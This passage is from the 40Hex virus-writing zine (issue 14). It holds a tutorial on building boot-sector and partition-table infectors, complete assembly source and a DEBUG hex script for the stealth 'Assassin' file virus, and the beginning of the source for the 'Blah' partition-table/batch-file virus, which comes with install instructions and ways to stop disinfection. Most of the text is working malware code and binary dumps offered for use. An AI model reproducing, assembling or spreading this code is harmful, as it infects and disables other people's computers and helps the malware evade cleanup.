E 07C0 20 72 65 63 6F 6D 6D 65 6E 64 65 64 29 0A 0D 45 
E 07D0 78 61 6D 70 6C 65 3A 20 20 20 4B 49 4C 4C 53 4D 
E 07E0 45 47 20 2A 2E 43 4F 4D 0A 0D 24 AA 42 42 1A BC 
E 07F0 8E F3 46 91 AA CE 89 00 00 00 00 00 00 00 00 00 
E 0800 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0810 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0820 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0830 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0840 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
RCX
0750
W
Q
---------------------------
40Hex Number 14 Volume 5 Issue 1                                      File 003

        Boot Infectors
        By Dark Angel of Phalcon/Skism

     As most of our readers have no doubt noticed, 40Hex articles have
traditionally covered file based viruses. It is time to fill in the hole and
cover the other large class of viruses, the partition table and boot sector
viruses, herein termed "boot infectors" for brevity.
     File based viruses are executed after the operating system loads. Boot
infectors, however, latch onto the parts of the drive that are accessed by the
BIOS when it attempts to load the operating system itself. Therefore, there is
little that can be done to intercept the boot infector once it has
successfully installed itself onto a disk.
     A brief explanation of the basics of disk terminology is in order. Each
disk is divided into 512 byte chunks called sectors. Due to an unfortunate
choice in terminology, however, the system BIOS uses the term "sectors"
differently. For our purposes, we will divide the disk into 512 byte blocks,
with block 0 residing on the beginning of the disk.
     The system BIOS assigns three values to each block on the disk. The
values are known as sectors, cylinders (sometimes known as tracks), and heads
(sometimes called sides) and can be represented as a triple
(sector,cylinder,head). Each disk has a certain number of sectors (SEC),
cylinders (CYL), and heads (HDS). Cylinders are numbered from 0 to CYL - 1.
Heads are numbered from 0 to HDS - 1. Sectors, for some unfathomable reason,
are numbered from 1 to SEC. Block 0 corresponds to the triple (1,0,0) (sector
1, cylinder 0, head 0). Block 1 corresponds to (2,0,0), Block 2 with (3,0,0),
and so on, until Block SPH. Block SPH corresponds to (1,1,0), Block SPH+1 with
(2,1,0), and so on. Block 2*SPH is (1,2,0), Block 2*SPH+1 is (2,2,0), etc.
This continues until Block HPC*SPH, which is (0,0,1).
     An introduction to the boot process is vital to understanding boot
infectors. When the system is reset, the BIOS checks the first block, triple
(1,0,0), of the first hard drive of the system (if any are installed, of
course) to absolute memory address 7C000. If the hard drive exists, the block
that was read in is checked for the signature 0AA55 (in reverse word format)
occuring at offset 1FE. This is the marker for a valid partition table. If a
partition table is found, the code residing in this block is executed at
0:7C00. If a valid partition table is not found (or the hard drive doesn't
exist), then the BIOS tries booting from the floppy drive. It again reads the
first block from the first floppy drive to absolute memory address 7C000. If
there is a readable disk in the drive, it will be loaded in and executed. No
check is made for the 0AA55 signature, although many boot sectors have it
there anyway just for consistency.
     Technically, the first block of the hard disk is a boot sector just as it
is on floppies. However, it is sometimes given a different name because of the
partition table convention that allows multiple operating systems to reside on
a single drive. We will call it by the somewhat misleading name of partition
table. Another common name is the master boot record, for reasons that will
become clear momentarily. The partition table convention is basically a simple
structure at the end of the first block of the hard drive that defines where
each operating system exists on a given hard drive. The partition table
structure begins at offset 1BE in the block and consists of an array with four
entries. The format of each entry is:

Ofs Size Description
 0  BYTE boot indicator, 0 = non-bootable, 80h = bootable
 1  BYTE head the partition begins on
 2  BYTE sector the partition begins on
 3  BYTE cylinder the partition begins on
 4  BYTE system indicator, indicates what OS resides in the partition
         01 indicates DOS 12-bit FAT
         04 indicates DOS 16-bit FAT
 5  BYTE head the partition ends on
 6  BYTE sector the partition ends on
 7  BYTE cylinder the partition ends on
 8 DWORD total number of blocks preceding the partition
0C DWORD total number of blocks in the partition

     The code in the partition table loads the boot record of the active
partition (as indicated in the first bit of the partition table structure).
The boot record then loads the operating system that resides in its respective
partition.
     When BIOS decides to boot from a floppy, it reads in the first block off
the floppy to 7C000. Floppies don't have partition tables, so this block is
the equivalent of the boot record of a partition on a hard disk.
     In DOS, the boot record consists of three bytes for a JMP followed by the
following structure, sometimes known as the BIOS parameter block (BPB):

Offset  Size     Description
  3     8 bytes  OEM name and version (ASCII)
 0B     Word     bytes per sector
 0D     Byte     sectors per cluster
 0E     Word     reserved sectors (starting at logical sector 0)
 10     Byte     number of FATs
 11     Word     number of root directory entries (32 bytes each)
 13     Word     total sectors in partition
 15     Byte     media descriptor
 17     Word     sectors per FAT
 19     Word     sectors per track
 1B     Word     number of heads
 1D     Word     number of hidden sectors

     The rest of the boot record consists of code that loads and executes the
DOS system files, which then take over. There are a number of terms in the
above structure which may be unfamiliar, but don't fret; they will be
explained in due course.
     First, however, it is important to note that nothing requires these
structures to exist! The partition table, for example, is merely a de facto
convention which was set up to allow operating systems to co-exist on a single
hard drive. The boot record structure defined above is used by DOS for DOS
programs. Of course, another operating system could interpret the structure,
but there is no requirement for a given operating system to use that format.
When infecting disks, however, keep in mind that certain programs require the
structures to be in place. DOS, for example, won't recognise partitions
properly without the partition table being at its usual location. Floppies
also won't work properly if the boot record is not loaded when DOS requests a
read to the first block. In other words, make sure that all requests to the
partition table or boot record return the partition table and boot record in
the appropriate locations. The other code may be changed with the only
drawback in such a scheme being easy detection of the code modifications. A
better approach is to redirect requests to the modified blocks to a stored
copy of the original. In other words, stealth.
     Seeing these structures, the method of infection, conceptually, at the
very least, should be apparent. It's a simple matter to replace the code of
the partition table or boot record with your own. All your code has to do is
store the block somewhere else on the disk and replace the block with itself.
When the virus gains control, it needs to put itself in memory and then load
the original block into memory at 7C000 and then transfer control to this
code. Once it is in memory, it is free to infect any disks which come into
contact with the computer.
     This is all nice and easy to say, but there are a few details which would
be helpful to know before plunging into writing a boot infector. When control
is transferred to either the partition table or boot record, CS:IP is set to
0:7C00. SS:SP is undefined, so most boot infectors set it to 0:7C00, which
causes the stack to be placed just below the loading area. This is sufficient
for the needs of most viruses.
     Additionally, it would be nice to be able to locate empty space to store
the original boot sector or partition table. Here, the virus has a number of
choices. In hard disks, many viruses store the original partition table in the
unused space between the partition table and the first partition. The first
partition generally starts at triple (2,1,0) or later (some start as late as
(2,0,1), so there is a wealth of space in which to store the virus in that
area. A simple calculation reveals that there are (number of cylinders - 2)
sectors between (1,0,0) where the partition table is and (2,1,0) where the
first partition starts). Multiply that value by 512 and you have the number of
bytes you can store there. That's a large chunk of space you have at your
disposal. A virus may also store itself at the end of the root directory,
although it risks overwriting valid directory entries. The BPB contains
everything necessary to calculate the location and length of the root
directory.
     An alternate approach, which is used by several viruses, is to alter the
file allocation table, or FAT. The FAT is an array of entries which describe
how the blocks on the disk are related. FAT entries are either 12 or 16 bits
long, depending on the disk. 12 bit FAT's are generally used in disks and
partitions with less than 20740 sectors and 16 bit FAT's are used in larger
disks and partitions. The location and size of the FAT can be found in the
BPB. Each entry in the FAT corresponds to a block on the disk. The FAT
describes a file's placement on the disk. By following the chain, you can find
the location of the blocks of the file, since they need not be contiguous. The
value of the FAT entry is the number of the next block in the chain, i.e. an
index to the FAT entry corresponding to the next block of the file, unless it
is one of the special values. If the value of the FAT entry is 0, then the
block is unused. If the value is -1 to -8 (FFF8-FFFF) then the block is the
last block in a file. If the value is -9 to -10h (FFF0-FFF7) then the block is
reserved (usually a bad block). The first and second entries in the FAT are
always -1. The third entry governs the first data area. The idea is for the
virus to find empty blocks, mark them as bad in the FAT, and store the code
there. This way, DOS thinks the blocks are bad and does not overwrite the
virus.
     One important issue with partition table infectors is whether they should
preserve the partition table itself, i.e. leave the partition table structure
at offset 1BE in the first block of the disk. Similarly, should boot sector
infectors retain the BPB? This is a particularly interesting issue with
stealth viruses, viruses which redirect attempts at accessing the partition
table or boot sector. The advantage of retaining the structures is that DOS
will recognize the disks even when the virus is not loaded in memory.
Therefore, the virus is somewhat less vulnerable to detection. However, if the
virus does not keep the structure, then it will be more difficult for the user
to boot the computer without loading the virus in memory, since DOS will not
recognise the drive. This is an especially nifty feature, since primitive
cleaning attempts such as FDISK /MBR will fail against such a virus.
     Within this motley assortment of information, you will find enough to aid
you in crafting an original boot infector. There is intentionally no code in
this tutorial, mainly because there is little virus-specific information
contained within. Many of the routines used in a boot infector are important
when writing any boot sector, so there is little importance in repeating the
code here.
40Hex Number 14 Volume 5 Issue 1                                      File 004

; Assassin (Bug Fix version)
;       by Dark Slayer

mem_size equ    offset memory_end-offset start
mem_para equ    (mem_size+0fh)/10h
low_mem_size equ mem_size+100h
low_mem_para equ (low_mem_size+0fh)/10h
vir_size equ    offset vir_end-offset start
vir_sector equ  (vir_size+1ffh+2)/200h
constant_size equ offset constant-offset start

        .model  tiny
        .code
        org     0
start:
        xor     di,di
        mov     dx,ds:[di+2]
        sub     dh,5

        mov     ah,26h
        int     21h

        mov     bp,ds:[di+2ch]

        mov     ah,4ah
        mov     bx,low_mem_para
        int     21h

        mov     ah,52h
        int     21h
        mov     bx,es:[bx-2]
        mov     ax,cs
        dec     ax
mcb:
        mov     cx,ds
        mov     ds,bx
        inc     bx
        mov     dx,bx
        add     bx,ds:[di+3]
        or      bp,bp
        jnz     not_boot
        cmp     ax,bx
        jne     not_our_mcb
        add     word ptr ds:[di+3],low_mem_para+1
not_our_mcb:
        cmp     ax,cx
        jne     not_boot
        mov     ds:[di+1],dx
        mov     di,8
        push    ds
        pop     es
        mov     si,di
        mov     ds,ax
        mov     cx,di
        rep     movsb
        push    dx
        add     ax,10h+1
        push    ax
        jmp     short search
not_boot:
        cmp     byte ptr ds:[di],4dh
        je      mcb
        cmp     byte ptr ds:[di],5ah
        je      mcb
        mov     sp,low_mem_size
        sub     dx,mem_para+1
        mov     es,dx
        sub     dx,cx
        dec     dx
        mov     ds,cx
        mov     ds:[di+3],dx
        mov     si,100h
        mov     cx,vir_size
        rep     movs byte ptr es:[di],cs:[si]

        push    es
search:
        mov     ax,352ah
        int     21h
        pop     ds
        push    ds
        mov     di,offset i21_table
        mov     ds:old2a[di]-i21_table,bx
        mov     ds:old2a[di+2]-i21_table,es
        mov     ah,25h
        mov     dx,offset int2a
        int     21h
        mov     dx,bx
        push    es
        pop     ds
        int     21h
        pop     es
        lds     si,es:[di]
search_table:
        lodsw
search_table_:
        dec     si
        cmp     ax,8b2eh
        jne     search_table
        lodsw
        cmp     ah,9fh
        jne     search_table_
        movsw
        scasw
        lea     ax,[si-1e0h]
        stosw
        xchg    si,ax
        mov     word ptr ds:[si],0eacbh
        mov     word ptr ds:[si+2],offset i21_3e
        mov     ds:[si+4],es
        mov     byte ptr ds:[si+6],0eah
        mov     word ptr ds:[si+7],offset i21_3f
        mov     ds:[si+9],es
        call    set21

        mov     cx,bp
        jcxz    boot
        mov     ds,bp
        xor     si,si
l2:
        lodsw
        dec     si
        or      ax,ax
        jnz     l2
        lea     dx,[si+3]
        mov     di,offset pcb+4+100h
        push    cs
        pop     es
        mov     ax,cs
        stosw
        scasw
        stosw
        scasw
        stosw
        mov     ax,4b00h
        mov     bx,offset pcb+100h
        int     21h
        mov     ah,4dh
        int     21h
        mov     ah,4ch
        int     21h

boot:
        pop     dx
        mov     ah,26h
        int     21h
        mov     bl,3
        mov     ss:[bp+18h+5],bl
        mov     ax,1216h
        int     2fh
        inc     bp
        mov     es:[di],bp
        mov     ss,dx
        mov     ds,dx
        mov     ax,4200h
        mov     bl,5
        cwd
        int     21h
        mov     ah,3fh
        dec     cx
        inc     dh
        int     21h
        mov     ah,3eh
        int     21h
        push    ds
        pop     es
        push    ds
        push    dx
        retf

read_cmp proc
        mov     cx,vir_size
        mov     dx,cx
        push    cs
        pop     ds
        call    read
        jc      rc_exit
        push    cx
        xor     si,si
if (vir_size and 0ff00h) eq (constant_size and 0ff00h)
        mov     cl,constant_size and 0ffh
else
        mov     cx,constant_size
endif
compare:
        lodsb
        cmp     al,ds:read_buffer[si-1]
        loope   compare
        clc
        pop     cx
rc_exit:
        ret
read_cmp endp

read    proc
        push    bx
        push    dx
        push    ds
        mov     ax,1229h
        int     2fh
        pop     ds
        pop     dx
        pop     bx
        ret
read    endp

write   proc
        mov     bp,40h*2
i21_func proc
        pop     ax
        push    bx
        push    cs
        push    ax
        push    cs
        pop     ds
        push    ds:i21_far_jmp
        les     di,dword ptr ds:i21_table
        push    es
        push    es:[di+bp]
        retf
i21_func endp
write   endp

set2324_restore21 proc
        push    ds
        mov     si,23h*4
        xor     ax,ax
        mov     ds,ax
        mov     di,offset old23
        push    cs
        pop     es
        mov     ax,offset int23
        mov     bp,2
sm_23_1:
        movsw
        mov     ds:[si-2],ax
        movsw
        mov     ds:[si-2],cs
if ((int23-start) and 0ff00h) eq ((int24-start) and 0ff00h)
        mov     al,(offset int24-offset start) and 0ffh
else
        mov     ax,offset int24
endif
        dec     bp
        jnz     sm_23_1
        mov     si,di
        push    cs
        pop     ds
        mov     bp,-4
rs_1:
        inc     bp
        inc     bp
        les     di,dword ptr ds:i21_table
        mov     di,es:[di+bp+2+3eh*2]
        movsb
        movsw
        jnz     rs_1
        pop     ds

        pop     bp
        pop     ax
        push    es
        push    ax

get_sft proc
        push    bx
        mov     ax,1220h
        int     2fh
        mov     bl,es:[di]
        mov     ax,1216h
        int     2fh
        pop     bx
        jmp     bp
get_sft endp
set2324_restore21 endp

set21_restore23 proc
        mov     si,offset old23
        push    cs
        pop     ds
        mov     di,23h*4
        xor     cx,cx
        mov     es,cx
        mov     cl,4
        rep     movsw
        push    cs
        pop     es

set21   proc    ; es = vir segment
        push    ax
        mov     bx,-4
        mov     di,offset i21_3e_data
        mov     cx,es:i21_far_jmp[di]-i21_3e_data
        inc     cx
sm_1:
        inc     bx
        lds     si,dword ptr es:i21_table
        mov     ax,ds:[si+bx+3+3eh*2]
        mov     si,ax
        movsb
        movsw
        xchg    si,ax
        sub     ax,cx
        neg     ax
        mov     byte ptr ds:[si],0e9h
        mov     ds:[si+1],ax
        add     cx,5
        inc     bx
        jnz     sm_1
        pop     ax
        ret
set21   endp
set21_restore23 endp

i21_3e:
        call    set2324_restore21
        jc      jc_exit
        push    es
        pop     ds
        cmp     word ptr ds:[di],1
        jne     jne_exit
        les     ax,dword ptr ds:[di+28h]
        mov     dx,es
        cmp     ax,'OC'
        jne     exe
        mov     al,'M'
        jmp     short com
exe:
        cmp     ax,'XE'
        jne     jne_exit
com:
        cmp     dl,al
jne_exit:
        jne     jne_exit_
        les     ax,dword ptr ds:[di+11h]
        cmp     ax,vir_size
jc_exit:
        jb      jc_exit_
        cmp     ax,0ffffh-(vir_size+2)
        ja      jne_exit_
        mov     dx,es
        or      dx,dx
jne_exit_:
        jnz     i21_3e_exit
        mov     ds:[di+15h],dx
        mov     ds:[di+17h],dx
        les     si,dword ptr ds:[di+7]
        les     si,dword ptr es:[si+2]
        add     ax,si
        dec     ax
        div     si
        mov     cx,es
        inc     cx
        div     cl
        or      ah,ah
        jz      i21_3e_exit
        sub     cl,ah
        cmp     cl,vir_sector
jc_exit_:
        jb      i21_3e_exit
        les     ax,ds:[di+4]
        push    ax
        push    es
        and     ax,1000000000011100b
        jnz     close_
        mov     byte ptr ds:[di+2],2
        mov     ds:[di+4],al

        call    read_cmp
        jbe     close

        mov     si,cx
cmp_device:
        dec     si
        lodsw
        inc     ax
        loopnz  cmp_device
        jcxz    not_device
        dec     ax
        cmp     ax,ds:[si]
        je      close
        jmp     short cmp_device
not_device:
        mov     ax,es:[di+11h]
        mov     es:[di+15h],ax

        mov     cx,vir_size+2
        mov     dx,offset id
        call    write
        pop     bx
        jc      close
        sub     es:[di+11h],ax
        dec     cx
        dec     cx
        cwd
        mov     es:[di+15h],dx
        call    write
        pop     bx
close:
        push    es
        pop     ds
close_:
        pop     ds:[di+6]
        pop     ds:[di+4]
        mov     bp,0dh*2
        call    i21_func
        pop     bx
i21_3e_exit:
        mov     ax,1227h
        int     2fh
        jmp     i21_3f_exit

i21_3f:
        call    set2324_restore21

        les     ax,dword ptr es:[di+15h]
        push    ax
        push    es
        call    read
        pop     bp
        pop     si
        cmc
        jnc     jnc_exit
        test    word ptr es:[di+4],1000000000011000b
        jnz     jnz_3f_exit
        or      bp,bp
jnz_3f_exit:
        jnz     i21_3f_exit
        sub     si,vir_size
jnc_exit:
        jae     i21_3f_exit
        xor     cx,cx
        xchg    cx,es:[di+15h]
        push    cx
        xor     cx,cx
        xchg    cx,es:[di+17h]
        push    cx
        push    ax
        push    si

        push    dx
        push    ds
        call    read_cmp
        pop     ds
        pop     dx
        jc      i21_3f_exit_1
        jne     i21_3f_exit_1

        push    dx
        push    ds

        push    es
        pop     ds
        mov     ax,ds:[di+11h]
        mov     ds:[di+15h],ax
        add     word ptr ds:[di+11h],vir_size+2

        mov     cl,2
        mov     dx,offset read_buffer
        push    cs
        pop     ds
        call    read
        pop     ds
        pop     dx
        jc      i21_3f_exit_2
        cmp     word ptr cs:read_buffer,'SD'
        je      i21_3f_l0
        mov     ax,1218h
        int     2fh
        or      byte ptr ds:[si+16h],1
        jmp     short i21_3f_exit_2
i21_3f_l0:
        pop     si
        neg     si
        mov     ax,es:[di+11h]
        sub     ax,si
        mov     es:[di+15h],ax
        pop     cx
        push    cx
        push    cx
        cmp     cx,si
        jb      i21_3f_l1
        mov     cx,si
i21_3f_l1:
        call    read
i21_3f_exit_2:
        sub     word ptr es:[di+11h],vir_size+2
i21_3f_exit_1:
        pop     ax
        pop     ax
        pop     es:[di+17h]
        pop     es:[di+15h]
i21_3f_exit:
        call    set21_restore23
        push    ax
        mov     ax,1218h
        int     2fh
        mov     ax,ds:[si+16h]
        shr     ax,1
        pop     ax
        mov     ds:[si],ax
        retf

int23:
        call    set21_restore23
        jmp     dword ptr cs:old23

int24:
        xor     ax,ax
        iret
int2a:
        pop     cs:i21_table
        pop     cs:i21_table[2]
        sub     sp,4
        jmp     dword ptr cs:old2a

msg     db      ' This is [Assassin] written by Dark Slayer '
        db      'in Keelung. Taiwan <R.O.C> '

constant:

pcb     dw      0,80h,?,5ch,?,6ch,?
id      db      'DS'
vir_end:

read_buffer db  vir_size dup(?)

old2a   dw      ?,?
old23   dw      ?,?
old24   dw      ?,?
i21_3e_data db  3 dup(?)
i21_3f_data db  3 dup(?)
i21_table dw    ?,?
i21_far_jmp dw  ?

memory_end:
        end     start
----------------------
N assassin.com
E 0100  33 FF 8B 55 02 80 EE 05 B4 26 CD 21 8B 6D 2C B4
E 0110  4A BB 8A 00 CD 21 B4 52 CD 21 26 8B 5F FE 8C C8
E 0120  48 8C D9 8E DB 43 8B D3 03 5D 03 0B ED 75 24 3B
E 0130  C3 75 05 81 45 03 8B 00 3B C1 75 17 89 55 01 BF
E 0140  08 00 1E 07 8B F7 8E D8 8B CF F3 A4 52 05 11 00
E 0150  50 EB 24 80 3D 4D 74 C9 80 3D 5A 74 C4 BC 95 08
E 0160  83 EA 7B 8E C2 2B D1 4A 8E D9 89 55 03 BE 00 01
E 0170  B9 BF 03 F3 2E A4 06 B8 2A 35 CD 21 1F 1E BF 8F
E 0180  07 89 5D EE 8C 45 F0 B4 25 BA 57 03 CD 21 8B D3
E 0190  06 1F CD 21 07 26 C5 35 AD 4E 3D 2E 8B 75 F9 AD
E 01A0  80 FC 9F 75 F4 A5 AF 8D 84 20 FE AB 96 C7 04 CB
E 01B0  EA C7 44 02 EA 01 8C 44 04 C6 44 06 EA C7 44 07
E 01C0  A2 02 8C 44 09 E8 F6 00 8B CD E3 29 8E DD 33 F6
E 01D0  AD 4E 0B C0 75 FA 8D 54 03 BF B3 04 0E 07 8C C8
E 01E0  AB AF AB AF AB B8 00 4B BB AF 04 CD 21 B4 4D CD
E 01F0  21 B4 4C CD 21 5A B4 26 CD 21 B3 03 88 5E 1D B8
E 0200  16 12 CD 2F 45 26 89 2D 8E D2 8E DA B8 00 42 B3
E 0210  05 99 CD 21 B4 3F 49 FE C6 CD 21 B4 3E CD 21 1E
E 0220  07 1E 52 CB B9 BF 03 8B D1 0E 1F E8 11 00 72 0E
E 0230  51 33 F6 B1 AF AC 3A 84 BE 03 E1 F9 F8 59 C3 53
E 0240  52 1E B8 29 12 CD 2F 1F 5A 5B C3 BD 80 00 58 53
E 0250  0E 50 0E 1F FF 36 93 07 C4 3E 8F 07 06 26 FF 33
E 0260  CB 1E BE 8C 00 33 C0 8E D8 BF 81 07 0E 07 B8 4C
E 0270  03 BD 02 00 A5 89 44 FE A5 8C 4C FE B0 54 4D 75
E 0280  F3 8B F7 0E 1F BD FC FF 45 45 C4 3E 8F 07 26 8B
E 0290  7B 7E A4 A5 75 F2 1F 5D 58 06 50 53 B8 20 12 CD
E 02A0  2F 26 8A 1D B8 16 12 CD 2F 5B FF E5 BE 81 07 0E
E 02B0  1F BF 8C 00 33 C9 8E C1 B1 04 F3 A5 0E 07 50 BB
E 02C0  FC FF BF 89 07 26 8B 4D 0A 41 43 26 C5 36 8F 07
E 02D0  8B 40 7F 8B F0 A4 A5 96 2B C1 F7 D8 C6 04 E9 89
E 02E0  44 01 83 C1 05 43 75 E2 58 C3 E8 74 FF 72 24 06
E 02F0  1F 83 3D 01 75 15 C4 45 28 8C C2 3D 43 4F 75 04
E 0300  B0 4D EB 05 3D 45 58 75 02 3A D0 75 11 C4 45 11
E 0310  3D BF 03 72 2B 3D 3E FC 77 04 8C C2 0B D2 75 7A
E 0320  89 55 15 89 55 17 C4 75 07 26 C4 74 02 03 C6 48
E 0330  F7 F6 8C C1 41 F6 F1 0A E4 74 5F 2A CC 80 F9 02
E 0340  72 58 C4 45 04 50 06 25 1C 80 75 41 C6 45 02 02
E 0350  88 45 04 E8 CE FE 76 33 8B F1 4E AD 40 E0 FB E3
E 0360  07 48 3B 04 74 25 EB F2 26 8B 45 11 26 89 45 15
E 0370  B9 C1 03 BA BD 03 E8 D2 FE 5B 72 0F 26 29 45 11
E 0380  49 49 99 26 89 55 15 E8 C1 FE 5B 06 1F 8F 45 06
E 0390  8F 45 04 BD 1A 00 E8 B5 FE 5B B8 27 12 CD 2F E9
E 03A0  98 00 E8 BC FE 26 C4 45 15 50 06 E8 91 FE 5D 5E
E 03B0  F5 73 10 26 F7 45 04 18 80 75 02 0B ED 75 7B 81
E 03C0  EE BF 03 73 75 33 C9 26 87 4D 15 51 33 C9 26 87
E 03D0  4D 17 51 50 56 52 1E E8 4A FE 1F 5A 72 52 75 50
E 03E0  52 1E 06 1F 8B 45 11 89 45 15 81 45 11 C1 03 B1
E 03F0  02 BA BF 03 0E 1F E8 46 FE 1F 5A 72 2D 2E 81 3E
E 0400  BF 03 44 53 74 0B B8 18 12 CD 2F 80 4C 16 01 EB
E 0410  19 5E F7 DE 26 8B 45 11 2B C6 26 89 45 15 59 51
E 0420  51 3B CE 72 02 8B CE E8 15 FE 26 81 6D 11 C1 03
E 0430  58 58 26 8F 45 17 26 8F 45 15 E8 6F FE 50 B8 18
E 0440  12 CD 2F 8B 44 16 D1 E8 58 89 04 CB E8 5D FE 2E
E 0450  FF 2E 81 07 33 C0 CF 2E 8F 06 8F 07 2E 8F 06 91
E 0460  07 83 EC 04 2E FF 2E 7D 07 20 54 68 69 73 20 69
E 0470  73 20 5B 41 73 73 61 73 73 69 6E 5D 20 77 72 69
E 0480  74 74 65 6E 20 62 79 20 44 61 72 6B 20 53 6C 61
E 0490  79 65 72 20 69 6E 20 4B 65 65 6C 75 6E 67 2E 20
E 04A0  54 61 69 77 61 6E 20 3C 52 2E 4F 2E 43 3E 20 00
E 04B0  00 80 00 00 00 5C 00 00 00 6C 00 00 00 44 53
R CX
03BF
W
Q
----------------------
40Hex Number 14 Volume 5 Issue 1                                      File 005

The Blah virus is a memory-resident, stealth, multipartite partition table/
batch file virus. What follows is the raw source file. After the source file
is a batch file infected with Blah which demonstrates the workings of the
virus. To install the virus, simply run this batch file. Or you can assemble
the source, run the output file, and then execute a batch file. Be cautious
when running this virus, however, since it immediately infects the partition
table and your hard drive will become unavailable should you boot from
diskette. You have been warned!

comment ~
  The Blah virus
  The world's only stealth, multipartite PT/BAT infector
  Written by Dark Angel at the end of 1994

  This virus is "mostly stealth" and "mostly harmless". It infects the
  partition table on hd0 as well as batch files.

  To install the virus, simply assemble this source to a COM file and run the
  output. The virus will then reside on the partition table of the first hard
  drive of the computer.

  The partition table portion of the virus loads itself into the slack space
  between the partition table and the first disk partition. The virus assumes
  the first disk partition is the one closest to the partition table, which is
  reasonable. It only infects the partition table on the first physical hard
  drive, since that will always be loaded anyway. The original partition table
  is stored following the virus code in the aforementioned slack space.

  Since the partition table infector does not copy the partition table itself
  into its code, several effects result. First, the system will not recognise
  the hard drive if it is booted from a floppy. This can be considered a useful
  side-effect, since it prevents disinfection via a clean boot. Additionally,
  when modifying the virus, one must take care to keep the word 0AA55 at offset
  01FE in the file, or else the BIOS will not recognise the partition table as
  a valid one.

  If you edit a batch file while the virus is in memory, the batch file will
  become infected by the virus, but will load into memory as if it were
  uninfected. When you save the file, it will remain uninfected. However, once
  you run the batch file, it will again become infected.

  This virus adds 3004 bytes to batch files. However, this file will assemble
  to 1148 bytes, since an encoded form of this file is written to batch files.

  The virus prepends its own code to the batch files that it infects. This
  code consists of lines which 1. create an executable file 2. run this
  executable file 3. delete the executable file and 4. reruns the batch file.
  The code which creates the executable file is simply a bunch of ECHO
  statements which are redirected into a file. These characters, when run,
  will run the code you see below. The bytes following the ECHO consist of
  code which reassembles and runs the code below and the data of the virus,
  which is encoded in a special printable text-only format. The virus removes
  this file after it has executed it in order to cover its traces. Finally,
  the virus runs the batch file again. This is to allow the stealth to work
  properly. The stealth works by bumping up all read requests on infected
  files by an amount equal to the size of the virus prepended text. The stealth
  is designed to not take effect until after the third file open it sees.
  Since DOS opens batch files each time it needs to execute the next command,
  this is the equivalent of waiting until after two statements have executed.
  This leaves enough time to remove the temporary file and reexecute the batch
  file. Now the stealth kicks in and DOS doesn't even see the virus code in
  the batch file.

  The virus hides the filelength increase on directory searches (in .BAT files
  only, of course). It also hides itself from reads (with handle calls only).
  It infects when a .BAT file is opened. It stamps files with a 62 second mark,
  but that is for the findfirst/findnext routine only. The checks for previous
  infection do not make any assumptions based on the file creation time.

  The virus also prevents overwriting of itself in the partition table. It also
  redirects attempts to view absolute sector 0. However, it does not try to
  stop reads to other parts of the disk that are infected, i.e. the sectors
  immediately following the first.

  The source code to the decoder (the raw text is included in the virus) can
  be found at the end.

  Anyway, this virus was written mostly because I felt like doing something
  lame. I think I succeeded, with only a modest effort.

  Dark Angel, Phalcon/Skism, 31 December 1994

  Happy New Year's!
~

                .model  tiny
		.code
		.radix	16

                org     0
our_buffer      label   byte

                org     80
line            label   byte

                org     100

viruslength     = (heap-blah)*2+endcleanup-decoder+((heap-blah+1f)/20)*0f
resK            = (end_all - our_buffer + 3ff) / 400
resP            = resK * 40
sector_length   = (heap - blah + 1ff) / 200

blah:           xor     bp,bp
                xor     si,si

                cmp     [si],20CDh              ; check if there is a PSP
                jz      in_com                  ; to see if we are in COM or
                                                ; boot (don't just check SP
                                                ; since COM might not load in
                                                ; a full segment if memory is
                                                ; sparse)
                inc     bp

; hey! we're in the boot sector or the partition table
; assume in partition table for the time being
                push    si
                cli
                pop     ss
                mov     sp,-2                   ; doesn't really matter
                sti

                mov     ax,200 + sector_length
                mov     es,si
                mov     bx,7c00 + 200
                mov     cx,2
                mov     dx,80
                int     13

                mov     dx,0f800

                db      0ea
                dw      offset install, 7b0

in_com:         mov     dx,0f904

                mov     ah,62                   ; get the PSP
                int     21                      ; also tells existing copies
                                                ; to disable themselves
                                                ; (for NetWare compatability)
                dec     bx                      ; go to MCB so we can
                mov     ds,bx                   ; twiddle with it

                sub     word ptr [si+3],resP    ; reserve two K of memory
                sub     word ptr [si+12],resP   ; in DOS for the virus

install:        mov     cs:init_flag,dl
                mov     byte ptr cs:i13_patch,dh

                mov     ds,si                   ; reserve two K of memory
                mov     dx,word ptr ds:413
                sub     dx,resK
                mov     word ptr ds:413,dx      ; from the BIOS count
                mov     cl,6
                shl     dx,cl                   ; K -> paragraph

                les     ax,ds:84
                mov     cs:old_i21,ax
                mov     cs:old_i21+2,es

                les     ax,ds:4c
                mov     cs:old_i13,ax
                mov     cs:old_i13+2,es

                mov     es,dx
                push    cs
                pop     ds
                mov     si,offset blah
                mov     di,si
                mov     cx,(offset end_zopy - blah + 1) / 2
                rep     movsw

                mov     es,cx

                mov     es:4c,offset i13
                mov     es:4e,dx

                or      bp,bp
                jz      exit_com

exit_boot:      mov     ax,201                  ; read the original partition
                xor     cx,cx                   ; table to 0:7C00
                mov     dx,80                   ; since the i13 handler is in
                mov     es,cx                   ; place, we can load from where
                inc     cx                      ; the partition table should
                mov     bx,7c00                 ; be, instead of where it
                pushf
                push    es bx                   ; actually is
                jmp     dword ptr [bp+4bh]      ; int 13 / iret

exit_com:       mov     es:84,offset i21
                mov     es:86,dx

infect_hd:      push    ax cx dx bx ds es

                push    cs cs
                pop     es ds

                mov     ax,201
                mov     bx,100 + (sector_length*200)
                mov     cx,1
                mov     dx,80
                call    call_i13                ; get original partition table

                adj_ofs = (100 + (sector_length*200))

                cmp     word ptr cs:[adj_ofs+decoder-blah],'e@'
                jz      already_infected

                mov     al,ds:[adj_ofs+1C0]
                cbw
                or      ax,ds:[adj_ofs+1C2]
                jnz     enough_room
                cmp     byte ptr ds:[adj_ofs+1C1],sector_length+1
                jbe     already_infected        ; not enough room for virus

enough_room:    mov     ax,301 + sector_length  ; write to disk
                mov     bx,100                  ; cx = 1, dx = 80 already
                call    call_i13

already_infected:
                pop     es ds bx dx cx ax
                ret

                db      'Blah virus',0
                db      '(DA/PS)',0

; I indulged myself in writing the decoder; it's rather much larger than it
; needs to be. This was so I could insert random text strings into the code.
; The decoder creates a file which, when run, will execute the encoded file.
; In this case, we are encoding the virus. See the beginning for a complete
; explanation of how the virus works.
decoder         db      '@echo ?PSBAT!??PS?'
fsize           dw      -1 * (heap - blah)
